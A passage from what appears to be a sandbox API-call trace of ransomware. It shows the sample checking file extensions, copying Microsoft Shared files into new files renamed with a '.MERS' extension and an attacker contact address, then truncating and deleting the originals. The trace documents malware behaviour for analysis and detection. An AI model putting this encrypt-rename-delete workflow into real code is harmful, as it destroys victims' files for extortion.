(lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.239] lstrlenW (lpString=".zip") returned 4 [0050.239] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0050.239] lstrlenW (lpString=".rar") returned 4 [0050.239] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0050.239] lstrlenW (lpString=".bz2") returned 4 [0050.239] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0050.239] lstrlenW (lpString=".7z") returned 3 [0050.239] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0050.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.239] lstrlenW (lpString=".dbf") returned 4 [0050.239] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0050.239] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.240] lstrlenW (lpString=".1cd") returned 4 [0050.240] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0050.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.240] lstrlenW (lpString=".jpg") returned 4 [0050.240] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0050.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.240] lstrlenW (lpString=".doc") returned 4 [0050.240] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0050.240] lstrlenW (lpString=".docx") returned 5 [0050.240] lstrcmpiW (lpString1=".docx", lpString2="2.EXE") returned -1 [0050.240] lstrlenW (lpString=".pdf") returned 4 [0050.240] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0050.240] lstrlenW (lpString=".xls") returned 4 [0050.240] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0050.240] lstrlenW (lpString=".xlsx") returned 5 [0050.240] lstrcmpiW (lpString1=".xlsx", lpString2="2.EXE") returned -1 [0050.240] lstrlenW (lpString=".ppt") returned 4 [0050.240] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0050.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.240] lstrlenW (lpString=".zip") returned 4 [0050.240] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0050.240] lstrlenW (lpString=".rar") returned 4 [0050.240] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0050.240] lstrlenW (lpString=".bz2") returned 4 [0050.240] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0050.240] lstrlenW (lpString=".7z") returned 3 [0050.240] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0050.240] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.240] lstrlenW (lpString=".dbf") returned 4 [0050.241] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0050.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.241] lstrlenW (lpString=".1cd") returned 4 [0050.241] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0050.241] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\EQNEDT32.EXE") returned 68 [0050.241] lstrlenW (lpString=".jpg") returned 4 [0050.241] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0050.241] lstrcmpiW (lpString1=".dll", lpString2=".MERS") returned -1 [0050.241] lstrlenW (lpString="msgfilt.dll") returned 11 [0050.241] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.354] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=38768) returned 1 [0050.354] CloseHandle (hObject=0x220) returned 1 [0050.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 0x20 [0050.354] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.354] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.354] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.354] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0050.702] GetLastError () returned 0x0 [0050.702] ReadFile (in: hFile=0x220, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x9770, lpOverlapped=0x0) returned 1 [0050.719] WriteFile (in: hFile=0x1d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x9780, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x9780, lpOverlapped=0x0) returned 1 [0050.720] ReadFile (in: hFile=0x220, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.720] WriteFile (in: hFile=0x1d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0050.720] SetEndOfFile (hFile=0x1d4) returned 1 [0050.720] CloseHandle (hObject=0x1d4) returned 1 [0050.721] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.721] SetEndOfFile (hFile=0x220) returned 1 [0050.722] CloseHandle (hObject=0x220) returned 1 [0050.722] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.722] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\filters\\msgfilt.dll")) returned 1 [0050.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.722] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.722] lstrlenW (lpString=".doc") returned 4 [0050.722] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.722] lstrlenW (lpString=".docx") returned 5 [0050.722] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0050.722] lstrlenW (lpString=".pdf") returned 4 [0050.722] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.722] lstrlenW (lpString=".xls") returned 4 [0050.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".xlsx") returned 5 [0050.723] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0050.723] lstrlenW (lpString=".ppt") returned 4 [0050.723] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.723] lstrlenW (lpString=".zip") returned 4 [0050.723] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".rar") returned 4 [0050.723] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".bz2") returned 4 [0050.723] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.723] lstrlenW (lpString=".7z") returned 3 [0050.723] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.723] lstrlenW (lpString=".dbf") returned 4 [0050.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.723] lstrlenW (lpString=".1cd") returned 4 [0050.723] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.723] lstrlenW (lpString=".jpg") returned 4 [0050.723] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.723] lstrlenW (lpString=".doc") returned 4 [0050.723] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".docx") returned 5 [0050.723] lstrcmpiW (lpString1=".docx", lpString2="t.dll") returned -1 [0050.723] lstrlenW (lpString=".pdf") returned 4 [0050.723] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".xls") returned 4 [0050.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0050.723] lstrlenW (lpString=".xlsx") returned 5 [0050.723] lstrcmpiW (lpString1=".xlsx", lpString2="t.dll") returned -1 [0050.723] lstrlenW (lpString=".ppt") returned 4 [0050.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.724] lstrlenW (lpString=".zip") returned 4 [0050.724] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString=".rar") returned 4 [0050.724] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0050.724] lstrlenW (lpString=".bz2") returned 4 [0050.724] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0050.724] lstrlenW (lpString=".7z") returned 3 [0050.724] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0050.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.724] lstrlenW (lpString=".dbf") returned 4 [0050.724] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0050.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.724] lstrlenW (lpString=".1cd") returned 4 [0050.724] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0050.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\msgfilt.dll") returned 66 [0050.724] lstrlenW (lpString=".jpg") returned 4 [0050.724] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0050.724] lstrcmpiW (lpString1=".CFG", lpString2=".MERS") returned -1 [0050.724] lstrlenW (lpString="CGMIMP32.CFG") returned 12 [0050.724] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.725] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=6811) returned 1 [0050.725] CloseHandle (hObject=0x220) returned 1 [0050.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 0x20 [0050.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0050.725] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.725] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d4 [0050.725] GetLastError () returned 0x0 [0050.725] ReadFile (in: hFile=0x220, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x1a9b, lpOverlapped=0x0) returned 1 [0050.920] WriteFile (in: hFile=0x1d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x1aa0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x1aa0, lpOverlapped=0x0) returned 1 [0050.921] ReadFile (in: hFile=0x220, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.921] WriteFile (in: hFile=0x1d4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.921] SetEndOfFile (hFile=0x1d4) returned 1 [0050.921] CloseHandle (hObject=0x1d4) returned 1 [0050.921] SetFilePointerEx (in: hFile=0x220, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.921] SetEndOfFile (hFile=0x220) returned 1 [0050.922] CloseHandle (hObject=0x220) returned 1 [0050.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.922] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.cfg")) returned 1 [0050.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.923] lstrlenW (lpString=".doc") returned 4 [0050.923] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0050.923] lstrlenW (lpString=".docx") returned 5 [0050.923] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0050.923] lstrlenW (lpString=".pdf") returned 4 [0050.923] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0050.923] lstrlenW (lpString=".xls") returned 4 [0050.923] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0050.923] lstrlenW (lpString=".xlsx") returned 5 [0050.923] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0050.923] lstrlenW (lpString=".ppt") returned 4 [0050.923] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0050.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.923] lstrlenW (lpString=".zip") returned 4 [0050.923] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0050.923] lstrlenW (lpString=".rar") returned 4 [0050.923] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0050.923] lstrlenW (lpString=".bz2") returned 4 [0050.923] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0050.923] lstrlenW (lpString=".7z") returned 3 [0050.923] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0050.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.923] lstrlenW (lpString=".dbf") returned 4 [0050.923] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0050.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.924] lstrlenW (lpString=".1cd") returned 4 [0050.924] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.924] lstrlenW (lpString=".jpg") returned 4 [0050.924] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.924] lstrlenW (lpString=".doc") returned 4 [0050.924] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0050.924] lstrlenW (lpString=".docx") returned 5 [0050.924] lstrcmpiW (lpString1=".docx", lpString2="2.CFG") returned -1 [0050.924] lstrlenW (lpString=".pdf") returned 4 [0050.924] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0050.924] lstrlenW (lpString=".xls") returned 4 [0050.924] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0050.924] lstrlenW (lpString=".xlsx") returned 5 [0050.924] lstrcmpiW (lpString1=".xlsx", lpString2="2.CFG") returned -1 [0050.924] lstrlenW (lpString=".ppt") returned 4 [0050.924] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.924] lstrlenW (lpString=".zip") returned 4 [0050.924] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0050.924] lstrlenW (lpString=".rar") returned 4 [0050.924] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0050.924] lstrlenW (lpString=".bz2") returned 4 [0050.924] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0050.924] lstrlenW (lpString=".7z") returned 3 [0050.924] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.924] lstrlenW (lpString=".dbf") returned 4 [0050.924] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0050.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.924] lstrlenW (lpString=".1cd") returned 4 [0050.925] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0050.925] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.CFG") returned 67 [0050.925] lstrlenW (lpString=".jpg") returned 4 [0050.925] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0050.925] lstrcmpiW (lpString1=".FLT", lpString2=".MERS") returned -1 [0050.925] lstrlenW (lpString="CGMIMP32.FLT") returned 12 [0050.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.927] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=323936) returned 1 [0050.928] CloseHandle (hObject=0x17c) returned 1 [0050.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 0x20 [0050.928] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0050.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0050.928] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.928] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.928] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0050.928] GetLastError () returned 0x0 [0050.928] ReadFile (in: hFile=0x17c, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x4f160, lpOverlapped=0x0) returned 1 [0050.956] WriteFile (in: hFile=0x1e4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0x4f170, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x4f170, lpOverlapped=0x0) returned 1 [0050.963] ReadFile (in: hFile=0x17c, lpBuffer=0x3730020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0050.963] WriteFile (in: hFile=0x1e4, lpBuffer=0x3730020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3730020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0050.963] SetEndOfFile (hFile=0x1e4) returned 1 [0050.963] CloseHandle (hObject=0x1e4) returned 1 [0050.963] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.963] SetEndOfFile (hFile=0x17c) returned 1 [0050.966] CloseHandle (hObject=0x17c) returned 1 [0050.966] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0050.967] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\cgmimp32.flt")) returned 1 [0050.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.967] lstrlenW (lpString=".doc") returned 4 [0050.967] lstrcmpiW (lpString1=".doc", lpString2=".FLT") returned -1 [0050.967] lstrlenW (lpString=".docx") returned 5 [0050.967] lstrcmpiW (lpString1=".docx", lpString2="2.FLT") returned -1 [0050.967] lstrlenW (lpString=".pdf") returned 4 [0050.967] lstrcmpiW (lpString1=".pdf", lpString2=".FLT") returned 1 [0050.967] lstrlenW (lpString=".xls") returned 4 [0050.967] lstrcmpiW (lpString1=".xls", lpString2=".FLT") returned 1 [0050.967] lstrlenW (lpString=".xlsx") returned 5 [0050.967] lstrcmpiW (lpString1=".xlsx", lpString2="2.FLT") returned -1 [0050.967] lstrlenW (lpString=".ppt") returned 4 [0050.967] lstrcmpiW (lpString1=".ppt", lpString2=".FLT") returned 1 [0050.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.967] lstrlenW (lpString=".zip") returned 4 [0050.967] lstrcmpiW (lpString1=".zip", lpString2=".FLT") returned 1 [0050.967] lstrlenW (lpString=".rar") returned 4 [0050.967] lstrcmpiW (lpString1=".rar", lpString2=".FLT") returned 1 [0050.967] lstrlenW (lpString=".bz2") returned 4 [0050.967] lstrcmpiW (lpString1=".bz2", lpString2=".FLT") returned -1 [0050.967] lstrlenW (lpString=".7z") returned 3 [0050.967] lstrcmpiW (lpString1=".7z", lpString2="FLT") returned -1 [0050.968] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\CGMIMP32.FLT") returned 67 [0050.968] lstrlenW (lpString=".dbf") returned 4 [0050.968] lstrcmpiW (lpString1=".dbf", 